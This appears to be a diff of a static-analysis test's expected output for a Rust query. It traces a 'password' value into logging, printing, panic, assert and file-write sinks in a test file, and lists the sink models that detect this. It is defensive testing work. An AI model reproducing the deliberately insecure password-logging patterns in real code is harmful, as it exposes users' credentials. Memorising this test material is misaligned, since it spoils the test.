test_logging.rs:209:44:209:69 | { ... } | test_logging.rs:209:44:209:69 | ...::must_use(...) | provenance | MaD:17 | -| test_logging.rs:209:62:209:69 | password | test_logging.rs:209:44:209:69 | MacroExpr | provenance | | -| test_logging.rs:210:40:210:74 | res | test_logging.rs:210:48:210:73 | { ... } | provenance | | -| test_logging.rs:210:40:210:85 | ... .as_bytes() | test_logging.rs:210:30:210:38 | write_all | provenance | MaD:6 Sink:MaD:6 | -| test_logging.rs:210:48:210:73 | ...::format(...) | test_logging.rs:210:40:210:74 | res | provenance | | -| test_logging.rs:210:48:210:73 | ...::must_use(...) | test_logging.rs:210:40:210:85 | ... .as_bytes() | provenance | MaD:14 | -| test_logging.rs:210:48:210:73 | MacroExpr | test_logging.rs:210:48:210:73 | ...::format(...) | provenance | MaD:16 | -| test_logging.rs:210:48:210:73 | { ... } | test_logging.rs:210:48:210:73 | ...::must_use(...) | provenance | MaD:17 | -| test_logging.rs:210:66:210:73 | password | test_logging.rs:210:48:210:73 | MacroExpr | provenance | | -| test_logging.rs:213:15:213:49 | res | test_logging.rs:213:23:213:48 | { ... } | provenance | | -| test_logging.rs:213:15:213:60 | ... .as_bytes() | test_logging.rs:213:9:213:13 | write | provenance | MaD:5 Sink:MaD:5 | -| test_logging.rs:213:23:213:48 | ...::format(...) | test_logging.rs:213:15:213:49 | res | provenance | | -| test_logging.rs:213:23:213:48 | ...::must_use(...) | test_logging.rs:213:15:213:60 | ... .as_bytes() | provenance | MaD:14 | -| test_logging.rs:213:23:213:48 | MacroExpr | test_logging.rs:213:23:213:48 | ...::format(...) | provenance | MaD:16 | -| test_logging.rs:213:23:213:48 | { ... } | test_logging.rs:213:23:213:48 | ...::must_use(...) | provenance | MaD:17 | -| test_logging.rs:213:41:213:48 | password | test_logging.rs:213:23:213:48 | MacroExpr | provenance | | -| test_logging.rs:216:15:216:49 | res | test_logging.rs:216:23:216:48 | { ... } | provenance | | -| test_logging.rs:216:15:216:60 | ... .as_bytes() | test_logging.rs:216:9:216:13 | write | provenance | MaD:4 Sink:MaD:4 | -| test_logging.rs:216:23:216:48 | ...::format(...) | test_logging.rs:216:15:216:49 | res | provenance | | -| test_logging.rs:216:23:216:48 | ...::must_use(...) | test_logging.rs:216:15:216:60 | ... .as_bytes() | provenance | MaD:14 | -| test_logging.rs:216:23:216:48 | MacroExpr | test_logging.rs:216:23:216:48 | ...::format(...) | provenance | MaD:16 | -| test_logging.rs:216:23:216:48 | { ... } | test_logging.rs:216:23:216:48 | ...::must_use(...) | provenance | MaD:17 | -| test_logging.rs:216:41:216:48 | password | test_logging.rs:216:23:216:48 | MacroExpr | provenance | | +| test_logging.rs:44:11:44:34 | MacroExpr | test_logging.rs:44:5:44:35 | ...::log | provenance | MaD:13 Sink:MaD:13 | +| test_logging.rs:44:27:44:34 | password | test_logging.rs:44:11:44:34 | MacroExpr | provenance | | +| test_logging.rs:45:12:45:35 | MacroExpr | test_logging.rs:45:5:45:36 | ...::log | provenance | MaD:13 Sink:MaD:13 | +| test_logging.rs:45:28:45:35 | password | test_logging.rs:45:12:45:35 | MacroExpr | provenance | | +| test_logging.rs:46:11:46:34 | MacroExpr | test_logging.rs:46:5:46:35 | ...::log | provenance | MaD:13 Sink:MaD:13 | +| test_logging.rs:46:27:46:34 | password | test_logging.rs:46:11:46:34 | MacroExpr | provenance | | +| test_logging.rs:47:24:47:47 | MacroExpr | test_logging.rs:47:5:47:48 | ...::log | provenance | MaD:13 Sink:MaD:13 | +| test_logging.rs:47:40:47:47 | password | test_logging.rs:47:24:47:47 | MacroExpr | provenance | | +| test_logging.rs:52:12:52:35 | MacroExpr | test_logging.rs:52:5:52:36 | ...::log | provenance | MaD:13 Sink:MaD:13 | +| test_logging.rs:52:28:52:35 | password | test_logging.rs:52:12:52:35 | MacroExpr | provenance | | +| test_logging.rs:54:12:54:48 | MacroExpr | test_logging.rs:54:5:54:49 | ...::log | provenance | MaD:13 Sink:MaD:13 | +| test_logging.rs:54:41:54:48 | password | test_logging.rs:54:12:54:48 | MacroExpr | provenance | | +| test_logging.rs:56:12:56:46 | MacroExpr | test_logging.rs:56:5:56:47 | ...::log | provenance | MaD:13 Sink:MaD:13 | +| test_logging.rs:56:39:56:46 | password | test_logging.rs:56:12:56:46 | MacroExpr | provenance | | +| test_logging.rs:57:12:57:33 | MacroExpr | test_logging.rs:57:5:57:34 | ...::log | provenance | MaD:13 Sink:MaD:13 | +| test_logging.rs:57:24:57:31 | password | test_logging.rs:57:12:57:33 | MacroExpr | provenance | | +| test_logging.rs:58:12:58:35 | MacroExpr | test_logging.rs:58:5:58:36 | ...::log | provenance | MaD:13 Sink:MaD:13 | +| test_logging.rs:58:24:58:31 | password | test_logging.rs:58:12:58:35 | MacroExpr | provenance | | +| test_logging.rs:60:30:60:53 | MacroExpr | test_logging.rs:60:5:60:54 | ...::log | provenance | MaD:13 Sink:MaD:13 | +| test_logging.rs:60:46:60:53 | password | test_logging.rs:60:30:60:53 | MacroExpr | provenance | | +| test_logging.rs:61:20:61:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:61:5:61:55 | ...::log | provenance | MaD:14 Sink:MaD:14 Sink:MaD:14 | +| test_logging.rs:61:20:61:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:61:5:61:55 | ...::log | provenance | MaD:14 Sink:MaD:14 Sink:MaD:14 Sink:MaD:14 | +| test_logging.rs:61:20:61:28 | &... [&ref, tuple.0] | test_logging.rs:61:5:61:55 | ...::log | provenance | MaD:14 Sink:MaD:14 Sink:MaD:14 | +| test_logging.rs:61:20:61:28 | &password | test_logging.rs:61:20:61:28 | TupleExpr [tuple.0] | provenance | | +| test_logging.rs:61:20:61:28 | &password [&ref] | test_logging.rs:61:20:61:28 | TupleExpr [tuple.0, &ref] | provenance | | +| test_logging.rs:61:20:61:28 | TupleExpr [tuple.0, &ref] | test_logging.rs:61:20:61:28 | &... [&ref, tuple.0, &ref] | provenance | | +| test_logging.rs:61:20:61:28 | TupleExpr [tuple.0] | test_logging.rs:61:20:61:28 | &... [&ref, tuple.0] | provenance | | +| test_logging.rs:61:21:61:28 | password | test_logging.rs:61:20:61:28 | &password | provenance | Config | +| test_logging.rs:61:21:61:28 | password | test_logging.rs:61:20:61:28 | &password [&ref] | provenance | | +| test_logging.rs:65:24:65:47 | MacroExpr | test_logging.rs:65:5:65:48 | ...::log | provenance | MaD:13 Sink:MaD:13 | +| test_logging.rs:65:40:65:47 | password | test_logging.rs:65:24:65:47 | MacroExpr | provenance | | +| test_logging.rs:67:42:67:65 | MacroExpr | test_logging.rs:67:5:67:66 | ...::log | provenance | MaD:13 Sink:MaD:13 | +| test_logging.rs:67:58:67:65 | password | test_logging.rs:67:42:67:65 | MacroExpr | provenance | | +| test_logging.rs:68:18:68:26 | &... [&ref, tuple.0, &ref] | test_logging.rs:68:5:68:67 | ...::log | provenance | MaD:14 Sink:MaD:14 Sink:MaD:14 | +| test_logging.rs:68:18:68:26 | &... [&ref, tuple.0, &ref] | test_logging.rs:68:5:68:67 | ...::log | provenance | MaD:14 Sink:MaD:14 Sink:MaD:14 Sink:MaD:14 | +| test_logging.rs:68:18:68:26 | &... [&ref, tuple.0] | test_logging.rs:68:5:68:67 | ...::log | provenance | MaD:14 Sink:MaD:14 Sink:MaD:14 | +| test_logging.rs:68:18:68:26 | &password | test_logging.rs:68:18:68:26 | TupleExpr [tuple.0] | provenance | | +| test_logging.rs:68:18:68:26 | &password [&ref] | test_logging.rs:68:18:68:26 | TupleExpr [tuple.0, &ref] | provenance | | +| test_logging.rs:68:18:68:26 | TupleExpr [tuple.0, &ref] | test_logging.rs:68:18:68:26 | &... [&ref, tuple.0, &ref] | provenance | | +| test_logging.rs:68:18:68:26 | TupleExpr [tuple.0] | test_logging.rs:68:18:68:26 | &... [&ref, tuple.0] | provenance | | +| test_logging.rs:68:19:68:26 | password | test_logging.rs:68:18:68:26 | &password | provenance | Config | +| test_logging.rs:68:19:68:26 | password | test_logging.rs:68:18:68:26 | &password [&ref] | provenance | | +| test_logging.rs:72:23:72:46 | MacroExpr | test_logging.rs:72:5:72:47 | ...::log | provenance | MaD:13 Sink:MaD:13 | +| test_logging.rs:72:39:72:46 | password | test_logging.rs:72:23:72:46 | MacroExpr | provenance | | +| test_logging.rs:74:41:74:64 | MacroExpr | test_logging.rs:74:5:74:65 | ...::log | provenance | MaD:13 Sink:MaD:13 | +| test_logging.rs:74:57:74:64 | password | test_logging.rs:74:41:74:64 | MacroExpr | provenance | | +| test_logging.rs:75:20:75:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:75:5:75:51 | ...::log | provenance | MaD:14 Sink:MaD:14 Sink:MaD:14 | +| test_logging.rs:75:20:75:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:75:5:75:51 | ...::log | provenance | MaD:14 Sink:MaD:14 Sink:MaD:14 Sink:MaD:14 | +| test_logging.rs:75:20:75:28 | &... [&ref, tuple.0] | test_logging.rs:75:5:75:51 | ...::log | provenance | MaD:14 Sink:MaD:14 Sink:MaD:14 | +| test_logging.rs:75:20:75:28 | &password | test_logging.rs:75:20:75:28 | TupleExpr [tuple.0] | provenance | | +| test_logging.rs:75:20:75:28 | &password [&ref] | test_logging.rs:75:20:75:28 | TupleExpr [tuple.0, &ref] | provenance | | +| test_logging.rs:75:20:75:28 | TupleExpr [tuple.0, &ref] | test_logging.rs:75:20:75:28 | &... [&ref, tuple.0, &ref] | provenance | | +| test_logging.rs:75:20:75:28 | TupleExpr [tuple.0] | test_logging.rs:75:20:75:28 | &... [&ref, tuple.0] | provenance | | +| test_logging.rs:75:21:75:28 | password | test_logging.rs:75:20:75:28 | &password | provenance | Config | +| test_logging.rs:75:21:75:28 | password | test_logging.rs:75:20:75:28 | &password [&ref] | provenance | | +| test_logging.rs:76:23:76:46 | MacroExpr | test_logging.rs:76:5:76:47 | ...::log | provenance | MaD:13 Sink:MaD:13 | +| test_logging.rs:76:39:76:46 | password | test_logging.rs:76:23:76:46 | MacroExpr | provenance | | +| test_logging.rs:82:20:82:43 | MacroExpr | test_logging.rs:82:5:82:44 | ...::log | provenance | MaD:13 Sink:MaD:13 | +| test_logging.rs:82:36:82:43 | password | test_logging.rs:82:20:82:43 | MacroExpr | provenance | | +| test_logging.rs:84:38:84:61 | MacroExpr | test_logging.rs:84:5:84:62 | ...::log | provenance | MaD:13 Sink:MaD:13 | +| test_logging.rs:84:54:84:61 | password | test_logging.rs:84:38:84:61 | MacroExpr | provenance | | +| test_logging.rs:85:20:85:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:85:5:85:48 | ...::log | provenance | MaD:14 Sink:MaD:14 Sink:MaD:14 | +| test_logging.rs:85:20:85:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:85:5:85:48 | ...::log | provenance | MaD:14 Sink:MaD:14 Sink:MaD:14 Sink:MaD:14 | +| test_logging.rs:85:20:85:28 | &... [&ref, tuple.0] | test_logging.rs:85:5:85:48 | ...::log | provenance | MaD:14 Sink:MaD:14 Sink:MaD:14 | +| test_logging.rs:85:20:85:28 | &password | test_logging.rs:85:20:85:28 | TupleExpr [tuple.0] | provenance | | +| test_logging.rs:85:20:85:28 | &password [&ref] | test_logging.rs:85:20:85:28 | TupleExpr [tuple.0, &ref] | provenance | | +| test_logging.rs:85:20:85:28 | TupleExpr [tuple.0, &ref] | test_logging.rs:85:20:85:28 | &... [&ref, tuple.0, &ref] | provenance | | +| test_logging.rs:85:20:85:28 | TupleExpr [tuple.0] | test_logging.rs:85:20:85:28 | &... [&ref, tuple.0] | provenance | | +| test_logging.rs:85:21:85:28 | password | test_logging.rs:85:20:85:28 | &password | provenance | Config | +| test_logging.rs:85:21:85:28 | password | test_logging.rs:85:20:85:28 | &password [&ref] | provenance | | +| test_logging.rs:86:20:86:43 | MacroExpr | test_logging.rs:86:5:86:44 | ...::log | provenance | MaD:13 Sink:MaD:13 | +| test_logging.rs:86:36:86:43 | password | test_logging.rs:86:20:86:43 | MacroExpr | provenance | | +| test_logging.rs:93:9:93:10 | m1 | test_logging.rs:94:11:94:28 | MacroExpr | provenance | | +| test_logging.rs:93:14:93:22 | &password | test_logging.rs:93:9:93:10 | m1 | provenance | | +| test_logging.rs:93:15:93:22 | password | test_logging.rs:93:14:93:22 | &password | provenance | Config | +| test_logging.rs:94:11:94:28 | MacroExpr | test_logging.rs:94:5:94:29 | ...::log | provenance | MaD:13 Sink:MaD:13 | +| test_logging.rs:96:9:96:10 | m2 | test_logging.rs:97:11:97:18 | MacroExpr | provenance | | +| test_logging.rs:96:41:96:49 | &password | test_logging.rs:96:9:96:10 | m2 | provenance | | +| test_logging.rs:96:42:96:49 | password | test_logging.rs:96:41:96:49 | &password | provenance | Config | +| test_logging.rs:97:11:97:18 | MacroExpr | test_logging.rs:97:5:97:19 | ...::log | provenance | MaD:13 Sink:MaD:13 | +| test_logging.rs:99:9:99:10 | m3 | test_logging.rs:100:11:100:18 | MacroExpr | provenance | | +| test_logging.rs:99:14:99:46 | res | test_logging.rs:99:22:99:45 | { ... } | provenance | | +| test_logging.rs:99:22:99:45 | ...::format(...) | test_logging.rs:99:14:99:46 | res | provenance | | +| test_logging.rs:99:22:99:45 | ...::must_use(...) | test_logging.rs:99:9:99:10 | m3 | provenance | | +| test_logging.rs:99:22:99:45 | MacroExpr | test_logging.rs:99:22:99:45 | ...::format(...) | provenance | MaD:17 | +| test_logging.rs:99:22:99:45 | { ... } | test_logging.rs:99:22:99:45 | ...::must_use(...) | provenance | MaD:18 | +| test_logging.rs:99:38:99:45 | password | test_logging.rs:99:22:99:45 | MacroExpr | provenance | | +| test_logging.rs:100:11:100:18 | MacroExpr | test_logging.rs:100:5:100:19 | ...::log | provenance | MaD:13 Sink:MaD:13 | +| test_logging.rs:118:12:118:41 | MacroExpr | test_logging.rs:118:5:118:42 | ...::log | provenance | MaD:13 Sink:MaD:13 | +| test_logging.rs:118:28:118:41 | get_password(...) | test_logging.rs:118:12:118:41 | MacroExpr | provenance | | +| test_logging.rs:129:9:129:10 | t1 [tuple.1] | test_logging.rs:131:28:131:29 | t1 [tuple.1] | provenance | | +| test_logging.rs:129:14:129:33 | TupleExpr [tuple.1] | test_logging.rs:129:9:129:10 | t1 [tuple.1] | provenance | | +| test_logging.rs:129:25:129:32 | password | test_logging.rs:129:14:129:33 | TupleExpr [tuple.1] | provenance | | +| test_logging.rs:131:12:131:31 | MacroExpr | test_logging.rs:131:5:131:32 | ...::log | provenance | MaD:13 Sink:MaD:13 | +| test_logging.rs:131:28:131:29 | t1 [tuple.1] | test_logging.rs:131:28:131:31 | t1.1 | provenance | | +| test_logging.rs:131:28:131:31 | t1.1 | test_logging.rs:131:12:131:31 | MacroExpr | provenance | | +| test_logging.rs:141:11:141:37 | MacroExpr | test_logging.rs:141:5:141:38 | ...::log | provenance | MaD:13 Sink:MaD:13 | +| test_logging.rs:141:27:141:37 | s1.password | test_logging.rs:141:11:141:37 | MacroExpr | provenance | | +| test_logging.rs:151:11:151:37 | MacroExpr | test_logging.rs:151:5:151:38 | ...::log | provenance | MaD:13 Sink:MaD:13 | +| test_logging.rs:151:27:151:37 | s2.password | test_logging.rs:151:11:151:37 | MacroExpr | provenance | | +| test_logging.rs:176:33:176:79 | &... | test_logging.rs:176:22:176:31 | log_expect | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:176:33:176:79 | &... [&ref] | test_logging.rs:176:22:176:31 | log_expect | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:176:34:176:79 | MacroExpr | test_logging.rs:176:33:176:79 | &... | provenance | Config | +| test_logging.rs:176:34:176:79 | MacroExpr | test_logging.rs:176:33:176:79 | &... [&ref] | provenance | | +| test_logging.rs:176:34:176:79 | res | test_logging.rs:176:42:176:78 | { ... } | provenance | | +| test_logging.rs:176:42:176:78 | ...::format(...) | test_logging.rs:176:34:176:79 | res | provenance | | +| test_logging.rs:176:42:176:78 | ...::must_use(...) | test_logging.rs:176:34:176:79 | MacroExpr | provenance | | +| test_logging.rs:176:42:176:78 | MacroExpr | test_logging.rs:176:42:176:78 | ...::format(...) | provenance | MaD:17 | +| test_logging.rs:176:42:176:78 | { ... } | test_logging.rs:176:42:176:78 | ...::must_use(...) | provenance | MaD:18 | +| test_logging.rs:176:70:176:78 | password2 | test_logging.rs:176:42:176:78 | MacroExpr | provenance | | +| test_logging.rs:180:35:180:81 | &... | test_logging.rs:180:24:180:33 | log_expect | provenance | MaD:10 Sink:MaD:10 | +| test_logging.rs:180:35:180:81 | &... [&ref] | test_logging.rs:180:24:180:33 | log_expect | provenance | MaD:10 Sink:MaD:10 | +| test_logging.rs:180:36:180:81 | MacroExpr | test_logging.rs:180:35:180:81 | &... | provenance | Config | +| test_logging.rs:180:36:180:81 | MacroExpr | test_logging.rs:180:35:180:81 | &... [&ref] | provenance | | +| test_logging.rs:180:36:180:81 | res | test_logging.rs:180:44:180:80 | { ... } | provenance | | +| test_logging.rs:180:44:180:80 | ...::format(...) | test_logging.rs:180:36:180:81 | res | provenance | | +| test_logging.rs:180:44:180:80 | ...::must_use(...) | test_logging.rs:180:36:180:81 | MacroExpr | provenance | | +| test_logging.rs:180:44:180:80 | MacroExpr | test_logging.rs:180:44:180:80 | ...::format(...) | provenance | MaD:17 | +| test_logging.rs:180:44:180:80 | { ... } | test_logging.rs:180:44:180:80 | ...::must_use(...) | provenance | MaD:18 | +| test_logging.rs:180:72:180:80 | password2 | test_logging.rs:180:44:180:80 | MacroExpr | provenance | | +| test_logging.rs:183:9:183:19 | err_result2 [Err] | test_logging.rs:184:13:184:23 | err_result2 [Err] | provenance | | +| test_logging.rs:183:47:183:68 | Err(...) [Err] | test_logging.rs:183:9:183:19 | err_result2 [Err] | provenance | | +| test_logging.rs:183:51:183:59 | password2 | test_logging.rs:183:51:183:67 | password2.clone() | provenance | generated | +| test_logging.rs:183:51:183:67 | password2.clone() | test_logging.rs:183:47:183:68 | Err(...) [Err] | provenance | | +| test_logging.rs:184:13:184:23 | err_result2 [Err] | test_logging.rs:184:25:184:34 | log_expect | provenance | MaD:11 Sink:MaD:11 | +| test_logging.rs:187:9:187:19 | err_result3 [Err] | test_logging.rs:188:13:188:23 | err_result3 [Err] | provenance | | +| test_logging.rs:187:47:187:60 | Err(...) [Err] | test_logging.rs:187:9:187:19 | err_result3 [Err] | provenance | | +| test_logging.rs:187:51:187:59 | password2 | test_logging.rs:187:47:187:60 | Err(...) [Err] | provenance | | +| test_logging.rs:188:13:188:23 | err_result3 [Err] | test_logging.rs:188:25:188:34 | log_unwrap | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:192:12:192:37 | MacroExpr | test_logging.rs:192:5:192:38 | ...::_print | provenance | MaD:8 Sink:MaD:8 | +| test_logging.rs:192:30:192:37 | password | test_logging.rs:192:12:192:37 | MacroExpr | provenance | | +| test_logging.rs:193:14:193:37 | MacroExpr | test_logging.rs:193:5:193:38 | ...::_print | provenance | MaD:8 Sink:MaD:8 | +| test_logging.rs:193:30:193:37 | password | test_logging.rs:193:14:193:37 | MacroExpr | provenance | | +| test_logging.rs:194:13:194:38 | MacroExpr | test_logging.rs:194:5:194:39 | ...::_eprint | provenance | MaD:7 Sink:MaD:7 | +| test_logging.rs:194:31:194:38 | password | test_logging.rs:194:13:194:38 | MacroExpr | provenance | | +| test_logging.rs:195:15:195:38 | MacroExpr | test_logging.rs:195:5:195:39 | ...::_eprint | provenance | MaD:7 Sink:MaD:7 | +| test_logging.rs:195:31:195:38 | password | test_logging.rs:195:15:195:38 | MacroExpr | provenance | | +| test_logging.rs:199:20:199:43 | MacroExpr | test_logging.rs:199:13:199:44 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | +| test_logging.rs:199:36:199:43 | password | test_logging.rs:199:20:199:43 | MacroExpr | provenance | | +| test_logging.rs:202:19:202:42 | MacroExpr | test_logging.rs:202:13:202:43 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | +| test_logging.rs:202:35:202:42 | password | test_logging.rs:202:19:202:42 | MacroExpr | provenance | | +| test_logging.rs:205:28:205:51 | MacroExpr | test_logging.rs:205:13:205:52 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | +| test_logging.rs:205:44:205:51 | password | test_logging.rs:205:28:205:51 | MacroExpr | provenance | | +| test_logging.rs:208:26:208:49 | MacroExpr | test_logging.rs:208:13:208:50 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | +| test_logging.rs:208:42:208:49 | password | test_logging.rs:208:26:208:49 | MacroExpr | provenance | | +| test_logging.rs:211:28:211:51 | MacroExpr | test_logging.rs:211:13:211:52 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | +| test_logging.rs:211:44:211:51 | password | test_logging.rs:211:28:211:51 | MacroExpr | provenance | | +| test_logging.rs:214:30:214:53 | ...::Some(...) [Some] | test_logging.rs:214:13:214:54 | ...::assert_failed | provenance | MaD:2 Sink:MaD:2 | +| test_logging.rs:214:30:214:53 | MacroExpr | test_logging.rs:214:30:214:53 | ...::Some(...) [Some] | provenance | | +| test_logging.rs:214:46:214:53 | password | test_logging.rs:214:30:214:53 | MacroExpr | provenance | | +| test_logging.rs:217:30:217:53 | ...::Some(...) [Some] | test_logging.rs:217:13:217:54 | ...::assert_failed | provenance | MaD:2 Sink:MaD:2 | +| test_logging.rs:217:30:217:53 | MacroExpr | test_logging.rs:217:30:217:53 | ...::Some(...) [Some] | provenance | | +| test_logging.rs:217:46:217:53 | password | test_logging.rs:217:30:217:53 | MacroExpr | provenance | | +| test_logging.rs:220:34:220:57 | MacroExpr | test_logging.rs:220:13:220:58 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | +| test_logging.rs:220:50:220:57 | password | test_logging.rs:220:34:220:57 | MacroExpr | provenance | | +| test_logging.rs:223:36:223:59 | ...::Some(...) [Some] | test_logging.rs:223:13:223:60 | ...::assert_failed | provenance | MaD:2 Sink:MaD:2 | +| test_logging.rs:223:36:223:59 | MacroExpr | test_logging.rs:223:36:223:59 | ...::Some(...) [Some] | provenance | | +| test_logging.rs:223:52:223:59 | password | test_logging.rs:223:36:223:59 | MacroExpr | provenance | | +| test_logging.rs:226:36:226:59 | ...::Some(...) [Some] | test_logging.rs:226:13:226:60 | ...::assert_failed | provenance | MaD:2 Sink:MaD:2 | +| test_logging.rs:226:36:226:59 | MacroExpr | test_logging.rs:226:36:226:59 | ...::Some(...) [Some] | provenance | | +| test_logging.rs:226:52:226:59 | password | test_logging.rs:226:36:226:59 | MacroExpr | provenance | | +| test_logging.rs:229:30:229:62 | res | test_logging.rs:229:38:229:61 | { ... } | provenance | | +| test_logging.rs:229:30:229:71 | ... .as_str() | test_logging.rs:229:23:229:28 | expect | provenance | MaD:1 Sink:MaD:1 | +| test_logging.rs:229:38:229:61 | ...::format(...) | test_logging.rs:229:30:229:62 | res | provenance | | +| test_logging.rs:229:38:229:61 | ...::must_use(...) | test_logging.rs:229:30:229:71 | ... .as_str() | provenance | MaD:16 | +| test_logging.rs:229:38:229:61 | MacroExpr | test_logging.rs:229:38:229:61 | ...::format(...) | provenance | MaD:17 | +| test_logging.rs:229:38:229:61 | { ... } | test_logging.rs:229:38:229:61 | ...::must_use(...) | provenance | MaD:18 | +| test_logging.rs:229:54:229:61 | password | test_logging.rs:229:38:229:61 | MacroExpr | provenance | | +| test_logging.rs:242:16:242:50 | res | test_logging.rs:242:24:242:49 | { ... } | provenance | | +| test_logging.rs:242:16:242:61 | ... .as_bytes() | test_logging.rs:242:10:242:14 | write | provenance | MaD:5 Sink:MaD:5 | +| test_logging.rs:242:24:242:49 | ...::format(...) | test_logging.rs:242:16:242:50 | res | provenance | | +| test_logging.rs:242:24:242:49 | ...::must_use(...) | test_logging.rs:242:16:242:61 | ... .as_bytes() | provenance | MaD:15 | +| test_logging.rs:242:24:242:49 | MacroExpr | test_logging.rs:242:24:242:49 | ...::format(...) | provenance | MaD:17 | +| test_logging.rs:242:24:242:49 | { ... } | test_logging.rs:242:24:242:49 | ...::must_use(...) | provenance | MaD:18 | +| test_logging.rs:242:42:242:49 | password | test_logging.rs:242:24:242:49 | MacroExpr | provenance | | +| test_logging.rs:245:20:245:54 | res | test_logging.rs:245:28:245:53 | { ... } | provenance | | +| test_logging.rs:245:20:245:65 | ... .as_bytes() | test_logging.rs:245:10:245:18 | write_all | provenance | MaD:6 Sink:MaD:6 | +| test_logging.rs:245:28:245:53 | ...::format(...) | test_logging.rs:245:20:245:54 | res | provenance | | +| test_logging.rs:245:28:245:53 | ...::must_use(...) | test_logging.rs:245:20:245:65 | ... .as_bytes() | provenance | MaD:15 | +| test_logging.rs:245:28:245:53 | MacroExpr | test_logging.rs:245:28:245:53 | ...::format(...) | provenance | MaD:17 | +| test_logging.rs:245:28:245:53 | { ... } | test_logging.rs:245:28:245:53 | ...::must_use(...) | provenance | MaD:18 | +| test_logging.rs:245:46:245:53 | password | test_logging.rs:245:28:245:53 | MacroExpr | provenance | | +| test_logging.rs:248:15:248:49 | res | test_logging.rs:248:23:248:48 | { ... } | provenance | | +| test_logging.rs:248:15:248:60 | ... .as_bytes() | test_logging.rs:248:9:248:13 | write | provenance | MaD:5 Sink:MaD:5 | +| test_logging.rs:248:23:248:48 | ...::format(...) | test_logging.rs:248:15:248:49 | res | provenance | | +| test_logging.rs:248:23:248:48 | ...::must_use(...) | test_logging.rs:248:15:248:60 | ... .as_bytes() | provenance | MaD:15 | +| test_logging.rs:248:23:248:48 | MacroExpr | test_logging.rs:248:23:248:48 | ...::format(...) | provenance | MaD:17 | +| test_logging.rs:248:23:248:48 | { ... } | test_logging.rs:248:23:248:48 | ...::must_use(...) | provenance | MaD:18 | +| test_logging.rs:248:41:248:48 | password | test_logging.rs:248:23:248:48 | MacroExpr | provenance | | +| test_logging.rs:251:15:251:49 | res | test_logging.rs:251:23:251:48 | { ... } | provenance | | +| test_logging.rs:251:15:251:60 | ... .as_bytes() | test_logging.rs:251:9:251:13 | write | provenance | MaD:4 Sink:MaD:4 | +| test_logging.rs:251:23:251:48 | ...::format(...) | test_logging.rs:251:15:251:49 | res | provenance | | +| test_logging.rs:251:23:251:48 | ...::must_use(...) | test_logging.rs:251:15:251:60 | ... .as_bytes() | provenance | MaD:15 | +| test_logging.rs:251:23:251:48 | MacroExpr | test_logging.rs:251:23:251:48 | ...::format(...) | provenance | MaD:17 | +| test_logging.rs:251:23:251:48 | { ... } | test_logging.rs:251:23:251:48 | ...::must_use(...) | provenance | MaD:18 | +| test_logging.rs:251:41:251:48 | password | test_logging.rs:251:23:251:48 | MacroExpr | provenance | | models | 1 | Sink: lang:core; ::expect; log-injection; Argument[0] | | 2 | Sink: lang:core; crate::panicking::assert_failed; log-injection; Argument[3].Field[crate::option::Option::Some(0)] | @@ -259,250 +265,257 @@ models | 8 | Sink: lang:std; crate::io::stdio::_print; log-injection; Argument[0] | | 9 | Sink: repo:https://github.com/DesmondWillowbrook/rs-log_err:log_err; ::log_expect; log-injection; Argument[0] | | 10 | Sink: repo:https://github.com/DesmondWillowbrook/rs-log_err:log_err; ::log_expect; log-injection; Argument[0] | -| 11 | Sink: repo:https://github.com/DesmondWillowbrook/rs-log_err:log_err; ::log_unwrap; log-injection; Argument[self].Field[crate::result::Result::Err(0)] | -| 12 | Sink: repo:https://github.com/rust-lang/log:log; crate::__private_api::log; log-injection; Argument[1] | -| 13 | Sink: repo:https://github.com/rust-lang/log:log; crate::__private_api::log; log-injection; Argument[3] | -| 14 | Summary: lang:alloc; ::as_bytes; Argument[self]; ReturnValue; value | -| 15 | Summary: lang:alloc; ::as_str; Argument[self]; ReturnValue; value | -| 16 | Summary: lang:alloc; crate::fmt::format; Argument[0]; ReturnValue; taint | -| 17 | Summary: lang:core; crate::hint::must_use; Argument[0]; ReturnValue; value | +| 11 | Sink: repo:https://github.com/DesmondWillowbrook/rs-log_err:log_err; ::log_expect; log-injection; Argument[self].Field[crate::result::Result::Err(0)] | +| 12 | Sink: repo:https://github.com/DesmondWillowbrook/rs-log_err:log_err; ::log_unwrap; log-injection; Argument[self].Field[crate::result::Result::Err(0)] | +| 13 | Sink: repo:https://github.com/rust-lang/log:log; crate::__private_api::log; log-injection; Argument[1] | +| 14 | Sink: repo:https://github.com/rust-lang/log:log; crate::__private_api::log; log-injection; Argument[3] | +| 15 | Summary: lang:alloc; ::as_bytes; Argument[self]; ReturnValue; value | +| 16 | Summary: lang:alloc; ::as_str; Argument[self]; ReturnValue; value | +| 17 | Summary: lang:alloc; crate::fmt::format; Argument[0]; ReturnValue; taint | +| 18 | Summary: lang:core; crate::hint::must_use; Argument[0]; ReturnValue; value | nodes +| test_logging.rs:42:5:42:36 | ...::log | semmle.label | ...::log | +| test_logging.rs:42:12:42:35 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:42:28:42:35 | password | semmle.label | password | | test_logging.rs:43:5:43:36 | ...::log | semmle.label | ...::log | | test_logging.rs:43:12:43:35 | MacroExpr | semmle.label | MacroExpr | | test_logging.rs:43:28:43:35 | password | semmle.label | password | -| test_logging.rs:44:5:44:36 | ...::log | semmle.label | ...::log | -| test_logging.rs:44:12:44:35 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:44:28:44:35 | password | semmle.label | password | -| test_logging.rs:45:5:45:35 | ...::log | semmle.label | ...::log | -| test_logging.rs:45:11:45:34 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:45:27:45:34 | password | semmle.label | password | -| test_logging.rs:46:5:46:36 | ...::log | semmle.label | ...::log | -| test_logging.rs:46:12:46:35 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:46:28:46:35 | password | semmle.label | password | -| test_logging.rs:47:5:47:35 | ...::log | semmle.label | 